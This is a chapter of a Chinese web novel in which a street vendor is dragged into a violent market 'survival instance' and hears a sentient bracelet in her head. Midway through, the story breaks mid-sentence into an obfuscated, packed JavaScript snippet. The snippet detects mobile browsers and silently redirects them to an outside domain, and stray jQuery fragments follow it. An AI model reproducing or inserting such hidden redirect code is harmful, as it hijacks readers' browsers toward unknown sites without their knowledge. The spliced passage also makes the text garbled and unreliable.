天刚蒙蒙亮，寒风像小刀子，专往人骨头缝里钻，耳朵红得像被寒气狠狠咬住一样疼。


    时与裹紧了旧棉衣，把装章鱼小丸子的推车在菜市场入口支棱起来。面前的小推车滋滋响着，六个圆坑里的面糊正慢慢膨胀，变成金黄的丸子。空气里飘着面糊和章鱼的香气。


    这是她第三份“工作”了。章鱼小丸子，挺好，卖不掉还能自己吃。


    周围已经有不少摊贩。隔壁是个年轻姑娘，正笨拙地拆着火鸡面的包装袋，动作有点生疏。几个大爷大妈守着自家水灵灵的蔬菜，缩着脖子跺脚，等人光顾。


    清晨的菜市场，人还稀稀拉拉的。


    时与搓了搓冻得发红的手，有点无聊。


    手指无意识地摩挲着手腕上那个旧银镯。今天这镯子摸着好像不太一样，温润了些，沉甸甸的，不像以前那个轻飘飘的塑料货。发尾上还多了个翠绿色的发圈，细看像某种藤蔓编织的，她完全不记得自己买过。


    奇怪。她皱了皱眉。


    就在这时，空气好像被什么东西扯了一下，无声地波动了一瞬。


    菜市场入口，呼啦一下涌进来一大群人。不是平时那种慢慢聚集的买菜大爷大妈，穿着打扮各异，羽绒服配登山包的，运动服配篮球鞋的，甚至还有穿着西装裙踩着高跟鞋的。他们脸上的表情也五花八门，有茫然四顾的，有眼神锐利扫视四周的，还有几个脸色煞白，腿肚子直打哆嗦的。


    人一下子多了起来，嘈杂声也大了。


    时与有点懵。今天也不是周末啊？这...大清早在菜市场搞团建...？


    还没等她琢磨明白，头顶那破旧的、沾满油污的菜市场广播喇叭，突然发出一阵刺耳的电流杂音，紧接着，一个毫无起伏、冰冷机械的声音响彻整个空间：


    【叮！欢迎进入副本：东营菜市场求生！】


    【副本目标：所有玩家需在倒计时结束前，个人或团队累计营业额或消费额达到1000。】


    【失败惩罚：永久滞留。】


    【请注意严格遵守市场规则：消极怠工、破坏市场秩序、攻击其他摊位摊主将视情节严重程度予以惩罚（包括但不限于：扣除营业额、强制驱逐、抹杀）。】


    【温馨提示：规则将在5分钟后生效，摊位有限，请玩家……自行获取，死伤自负。】


    【倒计时02:59:59】


    时与猛地抬起头，手里的勺子差点掉进粉浆里。


    【请努力经营，祝您好运！】


    眼前的世界似乎没什么变化，又好像哪里都不一样了。


    广播声刚落，整个菜市场死寂了一秒。


    下一秒，时与右前方猛地炸开一声惊恐的尖叫！


    一个穿着冲锋衣、原本在榴莲摊前挑拣的壮硕男人，毫无征兆地从怀里抽出一把寒光闪闪的砍刀，朝着那个正低头给他称重的中年摊主，狠狠捅了过去！


    噗嗤！


    刀身没入大半。


    摊主连哼都没哼一声，眼睛瞪得溜圆，身体软软地瘫倒下去。鲜血瞬间从他身下涌出，洇湿了地面，像打翻了一桶暗红色的油漆，一直淌到时与摊位前不远的地方。


    浓烈的血腥味瞬间盖过了食物的香气。


    壮汉一脚踢开摊主的尸体，抹了把溅到脸上的血点子，喘着粗气，眼神凶狠又带着一丝兴奋，迅速占据了那个堆满榴莲的摊位。


    周围瞬间炸了锅！


    尖叫声四起，原本慢悠悠买菜的人开始没头苍蝇似的乱跑。


    几个穿着同样冲锋衣的人却眼神发亮，像闻到血腥味的鲨鱼，目光开始在其他摊主身上扫视，寻找着机会。


    有人扑向了炸串摊，有人冲向了旁边的蔬菜摊，混乱瞬间升级。


    时与站在原地，手里还拿着给丸子翻面的竹签。


    她看着那摊迅速蔓延开的暗红鲜血，闻着那浓得化不开的铁锈味儿，还有刚刚莫名其妙的广播。


    她觉得自己应该害怕。应该尖叫，应该腿软，应该像其他人一样逃跑。


    可她的心跳稳得吓人。


    脑子里一片空白，或者说，一片平静的空白。甚至还有闲心注意到，血快流到她车轮子底下了，得挪挪车。


    “我大概是疯了。”她脑子里清晰地冒出这个念头。


    就在这个念头刚闪过的瞬间——


    【诶——？！主人？！】一个贱兮兮、带着巨大震惊和浓浓睡意的声音，毫无预兆地在她脑子里炸开，【这…这是哪儿？！您怎么摆起摊卖小丸子了？！这东西好吃吗？闻着挺香啊！】


    时与手里的竹签“啪嗒”一声掉在滚烫的铁板上，瞬间冒起一股焦糊的青烟。


    幻听！绝对是幻听！


    她脸色一白，毫不犹豫地摸出兜里那个屏幕裂了好几道的旧手机，手指因为冰冷和某种说不清的惊悸微微发抖。解锁，点开浏览器，手指头戳得屏幕啪啪响。


    搜索框输入：“本市精神病院挂号”。


    幻听。绝对是幻听。


    手腕上那银镯子猛地一烫！像是被“精神病院”几个字狠狠刺了一下。


    【主人！主人您冷静点！别挂精神科！挂号费多贵啊！留着买章鱼不好吗？！】那声音在她脑子里急吼吼地嚷，音量震得她太阳穴突突直跳，【是我！您最忠诚、最可爱、最机智的S级时空神器小银啊！虽然之前被那姓姜的阴了把，强制下线睡了个美容觉，但我胡汉三又回来啦！您看看我！看看镯子！是不是更有光泽了？是不是……】


    时与没看镯子。她目光僵直地落在自己摊位前。


    那个刚捅死了榴莲摊主、浑身溅满血的壮汉玩家，正凶神恶煞地挥舞着带血的砍刀，试图把旁边一个卖菜的老太太从她的三轮车旁撵开。


    老太太吓得腿都软了，抱着装零钱的破铁罐子瑟瑟发抖，嘴里发出不成调的呜咽。


    周围一片混乱，尖叫声、打砸声、还有系统冰冷的倒计时滴答声混在一起。


    她左边，那个原本卖火鸡面的、和她年纪差不多的姑娘，此刻眼神空洞得就像两颗玻璃珠子按在上面，动作僵硬地重复着煮面、捞面的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16149555|179986||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    动作，对几步之外的杀戮视若无睹。仿佛她生来就只会做这一件事。


    斜对面那个卖土豆的大爷，平时嗓门洪亮，这会儿却直勾勾盯着自己面前一堆土豆，眼神空洞，仿佛第一次见这玩意儿。


    一切都透着股诡异的荒诞。


    只有自己脑子里这个聒噪的声音是“真实”的？那更可怕。


    时与手指悬在手机屏幕上，预约挂号的界面已经弹出来了。


    她觉得自己离安定只差一个确认键。


    【别点！主人！您没疯！是这个鬼地方疯了！】小银的声音带着哭腔，【您低头！低头看看您那锅小丸子！那章鱼腿！您仔细看！】


    时与下意识低头。


    铁板上，六个金黄的丸子滋滋冒油，里面裹着切成小块的章鱼足。其中一块章鱼足，在她眼皮子底下，极其诡异地……抽动了一下。


    不是幻觉。那深褐色的、带着吸盘的腕足，真的在面糊里微微蜷缩又弹开。还散发着一团黑雾在上面。


    一股寒气瞬间从时与脚底板冲上天灵盖，手机差点脱手。


    【看见没！看见没！】小银在她脑子里尖叫，【副本食材！纯污染全添加！这玩意儿吃下去，别说精神科，直接给您送ICU！您现在清醒得很！】


    时与猛地吸了一口冷空气。


    她手指一划，退出了挂号页面，把手机狠狠揣回兜里。


    指甲掐进掌心，尖锐的疼痛让她混乱的脑子清醒了一瞬。


    对。不正常的是这个世界。


    手腕上的银镯又轻微地、带着点安抚意味地震了震。发尾那根翠绿的发圈也悄悄蹭了蹭她的脖颈，凉丝丝的。


    就在这时，一股巨大的力量猛地撞在她的推车上！


    “滚开！这位置归我了！”


    一个满脸横肉、穿着脏兮兮工装的男人玩家，眼里全是贪婪的凶光，手里攥着把沾着菜叶和不明粘液的剔骨刀，伸手就要掀她的摊子！


    他显然是看中了这个靠近入口、人流相对多点的位置。


    时与几乎是本能地，左手往滚烫的铁板边缘一撑！身体借着那股冲撞的力道往旁边一侧，右手迅速抄起旁边用来刮面糊的长柄不锈钢刮刀，看也没看，朝着那男人抓向她推车的手腕就狠狠拍了下去！


    啪！


    声音又脆又响！像拍死一只吸饱了血的蚊子。


    “嗷——！”男人发出一声杀猪般的惨叫，剔骨刀“哐当”掉在地上。


    他捂着自己瞬间红肿起来、甚至隐隐发青的手腕，痛得眼泪鼻涕一起飙出来，惊恐又怨毒地瞪着时与。


    时与站直身体，手里还拎着那把沾着点油污的刮刀，脸上没什么表情。


    刚才那一下，又快又狠又准，完全是身体自己动的。她甚至都还没反应过来。


    随后冷冷地看着那个捂着手腕哀嚎的男人，又扫了一眼周围那些被这动静短暂吸引、投来的视线。


    “我的摊。”她开口，声音不高，带着一丝沙哑，却奇异地穿透了周围的嘈杂，“动一下，试试。”